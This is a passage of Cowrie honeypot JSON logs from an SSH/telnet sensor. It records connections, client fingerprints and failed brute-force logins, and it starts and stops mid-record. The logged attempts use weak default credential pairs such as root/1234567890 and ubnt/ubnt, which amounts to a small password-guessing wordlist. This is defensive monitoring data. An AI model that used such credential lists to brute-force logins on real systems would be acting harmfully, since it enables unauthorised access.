r","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:48.150919Z","src_ip":"176.65.132.129","session":"847f7096501e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:48.398524Z","src_ip":"176.65.132.129","session":"847f7096501e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50120,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25537ae2ac6","protocol":"ssh","message":"New connection: 172.237.20.62:50120 (159.203.135.109:22) [session: c25537ae2ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:49.134307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:49.139345Z","src_ip":"172.237.20.62","session":"c25537ae2ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:49.298695Z","src_ip":"172.237.20.62","session":"c25537ae2ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:49.615464Z","src_ip":"176.65.132.129","session":"847f7096501e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:49.852912Z","src_ip":"172.237.20.62","session":"c25537ae2ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:51.014200Z","src_ip":"172.237.20.62","session":"c25537ae2ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42916,"dst_ip":"159.203.135.109","dst_port":22,"session":"927306a7240b","protocol":"ssh","message":"New connection: 176.65.132.129:42916 (159.203.135.109:22) [session: 927306a7240b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:51.474541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:51.479330Z","src_ip":"176.65.132.129","session":"927306a7240b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:51.562331Z","src_ip":"176.65.132.129","session":"927306a7240b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:51.959077Z","src_ip":"176.65.132.129","session":"927306a7240b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:53.045030Z","src_ip":"176.65.132.129","session":"927306a7240b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42926,"dst_ip":"159.203.135.109","dst_port":22,"session":"84c64f6a64c2","protocol":"ssh","message":"New connection: 176.65.132.129:42926 (159.203.135.109:22) [session: 84c64f6a64c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:55.132592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:55.137636Z","src_ip":"176.65.132.129","session":"84c64f6a64c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:55.219761Z","src_ip":"176.65.132.129","session":"84c64f6a64c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:55.471214Z","src_ip":"176.65.132.129","session":"84c64f6a64c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51110,"dst_ip":"10.17.0.5","dst_port":23,"session":"74774ad4e2a4","protocol":"telnet","message":"New connection: 45.58.127.90:51110 (10.17.0.5:23) [session: 74774ad4e2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:56.509812Z"}
{"eventid":"cowrie.session.closed","duration":34.52338242530823,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:56.545765Z","src_ip":"45.58.127.90","session":"f73a8a6bdf99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:56.556303Z","src_ip":"176.65.132.129","session":"84c64f6a64c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44010,"dst_ip":"159.203.135.109","dst_port":22,"session":"7acd1f94014c","protocol":"ssh","message":"New connection: 176.65.132.129:44010 (159.203.135.109:22) [session: 7acd1f94014c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:58.450861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:58.455768Z","src_ip":"176.65.132.129","session":"7acd1f94014c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:58.538351Z","src_ip":"176.65.132.129","session":"7acd1f94014c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:58.785346Z","src_ip":"176.65.132.129","session":"7acd1f94014c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60170,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d46a65922bf","protocol":"telnet","message":"New connection: 45.58.127.90:60170 (10.17.0.5:23) [session: 3d46a65922bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:59.137441Z"}
{"eventid":"cowrie.session.closed","duration":40.849285364151,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:59.142096Z","src_ip":"45.58.127.90","session":"a2639b70e049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:59.869175Z","src_ip":"176.65.132.129","session":"7acd1f94014c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54924,"dst_ip":"159.203.135.109","dst_port":22,"session":"32ad30020337","protocol":"ssh","message":"New connection: 172.237.20.62:54924 (159.203.135.109:22) [session: 32ad30020337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:59.954488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:59.958881Z","src_ip":"172.237.20.62","session":"32ad30020337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:00.121235Z","src_ip":"172.237.20.62","session":"32ad30020337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:00.615711Z","src_ip":"172.237.20.62","session":"32ad30020337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:01.777726Z","src_ip":"172.237.20.62","session":"32ad30020337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44022,"dst_ip":"159.203.135.109","dst_port":22,"session":"f30613ca5f1a","protocol":"ssh","message":"New connection: 176.65.132.129:44022 (159.203.135.109:22) [session: f30613ca5f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:02.056472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:02.062530Z","src_ip":"176.65.132.129","session":"f30613ca5f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:02.145011Z","src_ip":"176.65.132.129","session":"f30613ca5f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.58893585205078,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:02.338800Z","src_ip":"45.58.127.90","session":"804cd457b847","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:02.395634Z","src_ip":"176.65.132.129","session":"f30613ca5f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:03.481865Z","src_ip":"176.65.132.129","session":"f30613ca5f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.98383688926697,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:03.922313Z","src_ip":"45.58.127.90","session":"7c6429b1192a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44038,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5ba46e966a9","protocol":"ssh","message":"New connection: 176.65.132.129:44038 (159.203.135.109:22) [session: a5ba46e966a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:05.491289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:05.499640Z","src_ip":"176.65.132.129","session":"a5ba46e966a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:05.581976Z","src_ip":"176.65.132.129","session":"a5ba46e966a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:05.830255Z","src_ip":"176.65.132.129","session":"a5ba46e966a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:06.934701Z","src_ip":"176.65.132.129","session":"a5ba46e966a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52688,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef853f72759","protocol":"ssh","message":"New connection: 176.65.132.129:52688 (159.203.135.109:22) [session: 5ef853f72759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:08.826980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:08.832195Z","src_ip":"176.65.132.129","session":"5ef853f72759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-